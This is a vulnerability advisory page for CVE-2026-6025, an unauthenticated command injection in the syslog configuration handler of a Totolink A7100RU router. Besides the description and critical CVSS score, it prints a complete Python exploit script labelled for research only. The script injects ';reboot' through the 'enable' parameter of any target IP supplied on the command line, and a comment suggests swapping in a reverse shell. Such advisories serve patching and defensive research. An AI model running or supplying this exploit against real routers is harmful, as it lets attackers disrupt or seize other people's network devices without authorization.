Security Vulnerability Report
中文
CVE-2026-6025 CVSS 9.8 CRITICAL

CVE-2026-6025

Published: 2026-04-10 06:16:07
Last Modified: 2026-04-27 19:05:57

Description

A vulnerability was identified in Totolink A7100RU 7.4cu.2313_b20191024. This affects the function setSyslogCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Such manipulation of the argument enable leads to os command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A7100RU 7.4cu.2313_b20191024

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_ip): # Target endpoint for the vulnerability url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Headers headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload injecting a command via the 'enable' parameter # Example: Reversing shell or simple command execution payload = ";reboot" data = { "action": "setSyslogCfg", "enable": payload } try: response = requests.post(url, headers=headers, data=data, timeout=5) if response.status_code == 200: print(f"[+] Payload sent to {target_ip}") else: print(f"[-] Failed to send payload, status code: {response.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python exploit.py <target_ip>") else: exploit(sys.argv[1])

References

Raw JSON Data

JSON
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